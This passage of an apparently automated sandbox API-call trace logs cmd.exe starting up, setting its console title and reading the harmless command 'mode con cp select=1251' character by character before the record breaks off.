_ArgList=0x28fcf8 | out: _Buffer="\r\n") returned 2 [0058.507] _get_osfhandle (_FileHandle=1) returned 0xf4 [0058.507] GetFileType (hFile=0xf4) returned 0x3 [0058.507] _get_osfhandle (_FileHandle=1) returned 0xf4 [0058.507] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x4a91c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0058.508] WriteFile (in: hFile=0xf4, lpBuffer=0x4a91c320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x28fcc8, lpOverlapped=0x0 | out: lpBuffer=0x4a91c320*, lpNumberOfBytesWritten=0x28fcc8*=0x2, lpOverlapped=0x0) returned 1 [0058.508] _vsnwprintf (in: _Buffer=0x4a926340, _BufferCount=0x1fff, _Format="%s", _ArgList=0x28fcf8 | out: _Buffer="Copyright (c) 2009 Microsoft Corporation. All rights reserved.") returned 63 [0058.508] _get_osfhandle (_FileHandle=1) returned 0xf4 [0058.508] GetFileType (hFile=0xf4) returned 0x3 [0058.508] _get_osfhandle (_FileHandle=1) returned 0xf4 [0058.508] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Copyright (c) 2009 Microsoft Corporation. All rights reserved.", cchWideChar=-1, lpMultiByteStr=0x4a91c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Copyright (c) 2009 Microsoft Corporation. All rights reserved.", lpUsedDefaultChar=0x0) returned 64 [0058.508] WriteFile (in: hFile=0xf4, lpBuffer=0x4a91c320*, nNumberOfBytesToWrite=0x3f, lpNumberOfBytesWritten=0x28fcc8, lpOverlapped=0x0 | out: lpBuffer=0x4a91c320*, lpNumberOfBytesWritten=0x28fcc8*=0x3f, lpOverlapped=0x0) returned 1 [0058.508] _vsnwprintf (in: _Buffer=0x4a926340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x28fcf8 | out: _Buffer="\r\n") returned 2 [0058.508] _get_osfhandle (_FileHandle=1) returned 0xf4 [0058.508] GetFileType (hFile=0xf4) returned 0x3 [0058.509] _get_osfhandle (_FileHandle=1) returned 0xf4 [0058.509] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x4a91c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0058.509] WriteFile (in: hFile=0xf4, lpBuffer=0x4a91c320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x28fcc8, lpOverlapped=0x0 | out: lpBuffer=0x4a91c320*, lpNumberOfBytesWritten=0x28fcc8*=0x2, lpOverlapped=0x0) returned 1 [0058.509] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76f20000 [0058.509] GetProcAddress (hModule=0x76f20000, lpProcName="CopyFileExW") returned 0x76f323d0 [0058.510] GetProcAddress (hModule=0x76f20000, lpProcName="IsDebuggerPresent") returned 0x76f28290 [0058.510] GetProcAddress (hModule=0x76f20000, lpProcName="SetConsoleInputExeNameW") returned 0x76f317e0 [0058.510] _get_osfhandle (_FileHandle=0) returned 0xe8 [0058.510] GetFileType (hFile=0xe8) returned 0x3 [0058.510] _setmode (_FileHandle=0, _Mode=32768) returned 16384 [0058.510] NtOpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x8, OpenAsSelf=0, TokenHandle=0x28fb20 | out: TokenHandle=0x28fb20*=0x0) returned 0xc000007c [0058.511] NtOpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x8, TokenHandle=0x28fb20 | out: TokenHandle=0x28fb20*=0x50) returned 0x0 [0058.511] NtQueryInformationToken (in: TokenHandle=0x50, TokenInformationClass=0x12, TokenInformation=0x28fb30, TokenInformationLength=0x4, ReturnLength=0x28fb38 | out: TokenInformation=0x28fb30, ReturnLength=0x28fb38) returned 0x0 [0058.511] NtQueryInformationToken (in: TokenHandle=0x50, TokenInformationClass=0x1a, TokenInformation=0x28fb38, TokenInformationLength=0x4, ReturnLength=0x28fb30 | out: TokenInformation=0x28fb38, ReturnLength=0x28fb30) returned 0x0 [0058.511] NtClose (Handle=0x50) returned 0x0 [0058.511] FormatMessageW (in: dwFlags=0x1900, lpSource=0x0, dwMessageId=0x40002748, dwLanguageId=0x0, lpBuffer=0x28fb00, nSize=0x0, Arguments=0x28fb08 | out: lpBuffer="韠;") returned 0xf [0058.511] GetProcessHeap () returned 0x3a0000 [0058.511] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x218) returned 0x3a1ab0 [0058.512] GetConsoleTitleW (in: lpConsoleTitle=0x28fb50, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0058.519] wcsstr (_Str="C:\\Windows\\system32\\cmd.exe", _SubStr="Administrator: ") returned 0x0 [0058.520] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 1 [0058.521] GetProcessHeap () returned 0x3a0000 [0058.521] HeapFree (in: hHeap=0x3a0000, dwFlags=0x0, lpMem=0x3a1ab0 | out: hHeap=0x3a0000) returned 1 [0058.521] LocalFree (hMem=0x3b97e0) returned 0x0 [0058.522] GetProcessHeap () returned 0x3a0000 [0058.522] HeapFree (in: hHeap=0x3a0000, dwFlags=0x0, lpMem=0x3baa10 | out: hHeap=0x3a0000) returned 1 [0058.522] _vsnwprintf (in: _Buffer=0x4a926340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x28f838 | out: _Buffer="\r\n") returned 2 [0058.522] _get_osfhandle (_FileHandle=1) returned 0xf4 [0058.522] GetFileType (hFile=0xf4) returned 0x3 [0058.523] _get_osfhandle (_FileHandle=1) returned 0xf4 [0058.523] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x4a91c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0058.523] WriteFile (in: hFile=0xf4, lpBuffer=0x4a91c320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x28f808, lpOverlapped=0x0 | out: lpBuffer=0x4a91c320*, lpNumberOfBytesWritten=0x28f808*=0x2, lpOverlapped=0x0) returned 1 [0058.523] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a90f360, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0058.523] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a91c0a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0058.523] _vsnwprintf (in: _Buffer=0x4a90eb60, _BufferCount=0x3fe, _Format="%s", _ArgList=0x28f848 | out: _Buffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 37 [0058.524] _vsnwprintf (in: _Buffer=0x4a90ebaa, _BufferCount=0x3d9, _Format="%c", _ArgList=0x28f848 | out: _Buffer=">") returned 1 [0058.524] _get_osfhandle (_FileHandle=1) returned 0xf4 [0058.524] GetFileType (hFile=0xf4) returned 0x3 [0058.524] _get_osfhandle (_FileHandle=1) returned 0xf4 [0058.524] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", cchWideChar=-1, lpMultiByteStr=0x4a91c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", lpUsedDefaultChar=0x0) returned 39 [0058.524] WriteFile (in: hFile=0xf4, lpBuffer=0x4a91c320*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x28f838, lpOverlapped=0x0 | out: lpBuffer=0x4a91c320*, lpNumberOfBytesWritten=0x28f838*=0x26, lpOverlapped=0x0) returned 1 [0058.524] _get_osfhandle (_FileHandle=0) returned 0xe8 [0058.524] GetFileType (hFile=0xe8) returned 0x3 [0058.525] _get_osfhandle (_FileHandle=0) returned 0xe8 [0058.525] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0058.525] ReadFile (in: hFile=0xe8, lpBuffer=0x4a91c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x28fb38, lpOverlapped=0x0 | out: lpBuffer=0x4a91c320*, lpNumberOfBytesRead=0x28fb38*=0x1, lpOverlapped=0x0) returned 1 [0058.525] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a91c320, cbMultiByte=1, lpWideCharStr=0x4a91e320, cchWideChar=1 | out: lpWideCharStr="m") returned 1 [0058.527] _get_osfhandle (_FileHandle=0) returned 0xe8 [0058.527] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0058.527] ReadFile (in: hFile=0xe8, lpBuffer=0x4a91c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x28fb38, lpOverlapped=0x0 | out: lpBuffer=0x4a91c320*, lpNumberOfBytesRead=0x28fb38*=0x1, lpOverlapped=0x0) returned 1 [0058.527] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a91c320, cbMultiByte=1, lpWideCharStr=0x4a91e322, cchWideChar=1 | out: lpWideCharStr="o") returned 1 [0058.527] _get_osfhandle (_FileHandle=0) returned 0xe8 [0058.527] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0058.528] ReadFile (in: hFile=0xe8, lpBuffer=0x4a91c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x28fb38, lpOverlapped=0x0 | out: lpBuffer=0x4a91c320*, lpNumberOfBytesRead=0x28fb38*=0x1, lpOverlapped=0x0) returned 1 [0058.528] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a91c320, cbMultiByte=1, lpWideCharStr=0x4a91e324, cchWideChar=1 | out: lpWideCharStr="d") returned 1 [0058.528] _get_osfhandle (_FileHandle=0) returned 0xe8 [0058.528] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0058.528] ReadFile (in: hFile=0xe8, lpBuffer=0x4a91c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x28fb38, lpOverlapped=0x0 | out: lpBuffer=0x4a91c320*, lpNumberOfBytesRead=0x28fb38*=0x1, lpOverlapped=0x0) returned 1 [0058.528] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a91c320, cbMultiByte=1, lpWideCharStr=0x4a91e326, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0058.528] _get_osfhandle (_FileHandle=0) returned 0xe8 [0058.528] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0058.528] ReadFile (in: hFile=0xe8, lpBuffer=0x4a91c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x28fb38, lpOverlapped=0x0 | out: lpBuffer=0x4a91c320*, lpNumberOfBytesRead=0x28fb38*=0x1, lpOverlapped=0x0) returned 1 [0058.529] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a91c320, cbMultiByte=1, lpWideCharStr=0x4a91e328, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0058.529] _get_osfhandle (_FileHandle=0) returned 0xe8 [0058.529] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0058.529] ReadFile (in: hFile=0xe8, lpBuffer=0x4a91c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x28fb38, lpOverlapped=0x0 | out: lpBuffer=0x4a91c320*, lpNumberOfBytesRead=0x28fb38*=0x1, lpOverlapped=0x0) returned 1 [0058.529] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a91c320, cbMultiByte=1, lpWideCharStr=0x4a91e32a, cchWideChar=1 | out: lpWideCharStr="c") returned 1 [0058.529] _get_osfhandle (_FileHandle=0) returned 0xe8 [0058.529] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0058.529] ReadFile (in: hFile=0xe8, lpBuffer=0x4a91c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x28fb38, lpOverlapped=0x0 | out: lpBuffer=0x4a91c320*, lpNumberOfBytesRead=0x28fb38*=0x1, lpOverlapped=0x0) returned 1 [0058.530] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a91c320, cbMultiByte=1, lpWideCharStr=0x4a91e32c, cchWideChar=1 | out: lpWideCharStr="o") returned 1 [0058.530] _get_osfhandle (_FileHandle=0) returned 0xe8 [0058.530] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0058.530] ReadFile (in: hFile=0xe8, lpBuffer=0x4a91c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x28fb38, lpOverlapped=0x0 | out: lpBuffer=0x4a91c320*, lpNumberOfBytesRead=0x28fb38*=0x1, lpOverlapped=0x0) returned 1 [0058.530] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a91c320, cbMultiByte=1, lpWideCharStr=0x4a91e32e, cchWideChar=1 | out: lpWideCharStr="n") returned 1 [0058.530] _get_osfhandle (_FileHandle=0) returned 0xe8 [0058.530] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0058.530] ReadFile (in: hFile=0xe8, lpBuffer=0x4a91c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x28fb38, lpOverlapped=0x0 | out: lpBuffer=0x4a91c320*, lpNumberOfBytesRead=0x28fb38*=0x1, lpOverlapped=0x0) returned 1 [0058.530] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a91c320, cbMultiByte=1, lpWideCharStr=0x4a91e330, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0058.531] _get_osfhandle (_FileHandle=0) returned 0xe8 [0058.531] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0058.531] ReadFile (in: hFile=0xe8, lpBuffer=0x4a91c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x28fb38, lpOverlapped=0x0 | out: lpBuffer=0x4a91c320*, lpNumberOfBytesRead=0x28fb38*=0x1, lpOverlapped=0x0) returned 1 [0058.531] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a91c320, cbMultiByte=1, lpWideCharStr=0x4a91e332, cchWideChar=1 | out: lpWideCharStr="c") returned 1 [0058.531] _get_osfhandle (_FileHandle=0) returned 0xe8 [0058.531] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0058.531] ReadFile (in: hFile=0xe8, lpBuffer=0x4a91c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x28fb38, lpOverlapped=0x0 | out: lpBuffer=0x4a91c320*, lpNumberOfBytesRead=0x28fb38*=0x1, lpOverlapped=0x0) returned 1 [0058.531] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a91c320, cbMultiByte=1, lpWideCharStr=0x4a91e334, cchWideChar=1 | out: lpWideCharStr="p") returned 1 [0058.531] _get_osfhandle (_FileHandle=0) returned 0xe8 [0058.532] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0058.532] ReadFile (in: hFile=0xe8, lpBuffer=0x4a91c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x28fb38, lpOverlapped=0x0 | out: lpBuffer=0x4a91c320*, lpNumberOfBytesRead=0x28fb38*=0x1, lpOverlapped=0x0) returned 1 [0058.532] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a91c320, cbMultiByte=1, lpWideCharStr=0x4a91e336, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0058.532] _get_osfhandle (_FileHandle=0) returned 0xe8 [0058.532] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0058.532] ReadFile (in: hFile=0xe8, lpBuffer=0x4a91c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x28fb38, lpOverlapped=0x0 | out: lpBuffer=0x4a91c320*, lpNumberOfBytesRead=0x28fb38*=0x1, lpOverlapped=0x0) returned 1 [0058.532] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a91c320, cbMultiByte=1, lpWideCharStr=0x4a91e338, cchWideChar=1 | out: lpWideCharStr="s") returned 1 [0058.532] _get_osfhandle (_FileHandle=0) returned 0xe8 [0058.532] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0058.533] ReadFile (in: hFile=0xe8, lpBuffer=0x4a91c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x28fb38, lpOverlapped=0x0 | out: lpBuffer=0x4a91c320*, lpNumberOfBytesRead=0x28fb38*=0x1, lpOverlapped=0x0) returned 1 [0058.533] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a91c320, cbMultiByte=1, lpWideCharStr=0x4a91e33a, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0058.533] _get_osfhandle (_FileHandle=0) returned 0xe8 [0058.533] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0058.533] ReadFile (in: hFile=0xe8, lpBuffer=0x4a91c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x28fb38, lpOverlapped=0x0 | out: lpBuffer=0x4a91c320*, lpNumberOfBytesRead=0x28fb38*=0x1, lpOverlapped=0x0) returned 1 [0058.533] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a91c320, cbMultiByte=1, lpWideCharStr=0x4a91e33c, cchWideChar=1 | out: lpWideCharStr="l") returned 1 [0058.533] _get_osfhandle (_FileHandle=0) returned 0xe8 [0058.534] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0058.534] ReadFile (in: hFile=0xe8, lpBuffer=0x4a91c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x28fb38, lpOverlapped=0x0 | out: lpBuffer=0x4a91c320*, lpNumberOfBytesRead=0x28fb38*=0x1, lpOverlapped=0x0) returned 1 [0058.534] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a91c320, cbMultiByte=1, lpWideCharStr=0x4a91e33e, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0058.535] _get_osfhandle (_FileHandle=0) returned 0xe8 [0058.535] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0058.535] ReadFile (in: hFile=0xe8, lpBuffer=0x4a91c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x28fb38, lpOverlapped=0x0 | out: lpBuffer=0x4a91c320*, lpNumberOfBytesRead=0x28fb38*=0x1, lpOverlapped=0x0) returned 1 [0058.535] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a91c320, cbMultiByte=1, lpWideCharStr=0x4a91e340, cchWideChar=1 | out: lpWideCharStr="c") returned 1 [0058.535] _get_osfhandle (_FileHandle=0) returned 0xe8 [0058.535] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0058.535] ReadFile (in: hFile=0xe8, lpBuffer=0x4a91c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x28fb38, lpOverlapped=0x0 | out: lpBuffer=0x4a91c320*, lpNumberOfBytesRead=0x28fb38*=0x1, lpOverlapped=0x0) returned 1 [0058.535] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a91c320, cbMultiByte=1, lpWideCharStr=0x4a91e342, cchWideChar=1 | out: lpWideCharStr="t") returned 1 [0058.535] _get_osfhandle (_FileHandle=0) returned 0xe8 [0058.536] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0058.536] ReadFile (in: hFile=0xe8, lpBuffer=0x4a91c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x28fb38, lpOverlapped=0x0 | out: lpBuffer=0x4a91c320*, lpNumberOfBytesRead=0x28fb38*=0x1, lpOverlapped=0x0) returned 1 [0058.536] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a91c320, cbMultiByte=1, lpWideCharStr=0x4a91e344, cchWideChar=1 | out: lpWideCharStr="=") returned 1 [0058.536] _get_osfhandle (_FileHandle=0) returned 0xe8 [0058.536] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0058.536] ReadFile (in: hFile=0xe8, lpBuffer=0x4a91c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x28fb38, lpOverlapped=0x0 | out: lpBuffer=0x4a91c320*, lpNumberOfBytesRead=0x28fb38*=0x1, lpOverlapped=0x0) returned 1 [0058.536] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a91c320, cbMultiByte=1, lpWideCharStr=0x4a91e346, cchWideChar=1 | out: lpWideCharStr="1") returned 1 [0058.536] _get_osfhandle (_FileHandle=0) returned 0xe8 [0058.536] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0058.537] ReadFile (in: hFile=0xe8, lpBuffer=0x4a91c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x28fb38, lpOverlapped=0x0 | out: lpBuffer=0x4a91c320*, lpNumberOfBytesRead=0x28fb38*=0x1, lpOverlapped=0x0) returned 1 [0058.537] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a91c320, cbMultiByte=1, lpWideCharStr=0x4a91e348, cchWideChar=1 | out: lpWideCharStr="2") returned 1 [0058.537] _get_osfhandle (_FileHandle=0) returned 0xe8 [0058.537] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0058.537] ReadFile (in: hFile=0xe8, lpBuffer=0x4a91c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x28fb38, lpOverlapped=0x0 | out: lpBuffer=0x4a91c320*, lpNumberOfBytesRead=0x28fb38*=0x1, lpOverlapped=0x0) returned 1 [0058.537] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a91c320, cbMultiByte=1, lpWideCharStr=0x4a91e34a, cchWideChar=1 | out: lpWideCharStr="5") returned 1 [0058.537] _get_osfhandle (_FileHandle=0) returned 0xe8 [0058.537] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0058.538] ReadFile (in: hFile=0xe8, lpBuffer=0x4a91c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x28fb38, lpOverlapped=0x0 | out: lpBuffer=0x4a91c320*, lpNumberOfBytesRead=0x28fb38*=0x1, lpOverlapped=0x0) returned 1 [0058.538] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a91c320, cbMultiByte=1, lpWideCharStr=0x4a91e34c, cchWideChar=1 | out: lpWideCharStr="1") returned 1 [0058.538] _get_osfhandle (_FileHandle=0) returned 0xe8 [0058.538] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0058.538] ReadFile (in: hFile=0xe8, lpBuffer=0x4a91c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x28fb38, lpOverlapped=0x0 | out: lpBuffer=0x4a91c320*, lpNumberOfBytesRead=0x28fb38*=0x1, lpOverlapped=0x0) returned 1 [0058.538] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a91c320, cbMultiByte=1, lpWideCharStr=0x4a91e34e, cchWideChar=1 | out: lpWideCharStr="\n") returned 1 [0058.539] _get_osfhandle (_FileHandle=0) returned 0xe8 [0058.539] GetFileType (hFile=0xe8) returned 0x3 [0058.540] _get_osfhandle (_FileHandle=0) returned 0xe8 [0058.540] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0058.540] _get_osfhandle (_FileHandle=1) returned 0xf4 [0058.540] GetFileType (hFile=0xf4) returned 0x3 [0058.540] _get_osfhandle (_FileHandle=1) returned 0xf4 [0058.540] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="mode con cp select=1251\n", cchWideChar=-1, lpMultiByteStr=0x4a91c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mode con cp select=1251\n", lpUsedDefaultChar=0x0) returned 25 [0058.540] WriteFile (in: hFile=0xf4, lpBuffer=0x4a91c320*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x28fb18, lpOverlapped=0x0 | out: lpBuffer=0x4a91c320*, lpNumberOfBytesWritten=0x28fb18*=0x18, lpOverlapped=0x0) returned 1 [0058.540] GetProcessHeap () returned 0x3a0000 [0058.541] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x4012) returned 0x3bcd20 [0058.541] GetProcessHeap () returned 0x3a0000 [0058.541] HeapFree (in: hHeap=0x3a0000, dwFlags=0x0, lpMem=0x3bcd20 | out: hHeap=0x3a0000) returned 1 [0058.542] _wcsicmp (_String1="mode", _String2=")") returned 68 [0058.542] _wcsicmp (_String1="FOR", _String2="mode") returned -7 [0058.542] _wcsicmp (_String1="FOR/?", _String2="mode") returned -7 [0058.542] _wcsicmp (_String1="IF", _String2="mode") returned -4 [0058.542] _wcsicmp (_String1="IF/?", _String2="mode") returned -4 [0058.542] _wcsicmp (_String1="REM", _String2="mode") returned 5 [0058.542] _wcsicmp (_String1="REM/?", _String2="mode") returned 5 [0058.542] GetProcessHeap () returned 0x3a0000 [0058.542] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0xb0) returned 0x3b97e0 [0058.542] GetProcessHeap () returned 0x3a0000 [0058.543] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x1a) returned 0x3b4610 [0058.544] GetProcessHeap () returned 0x3a0000 [0058.544] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x38) returned 0x3b6510 [0058.547] GetConsoleOutputCP () returned 0x1b5 [0058.547] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a91bfe0 | out: lpCPInfo=0x4a91bfe0) returned 1 [0058.547] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0058.548] GetConsoleTitleW (in: 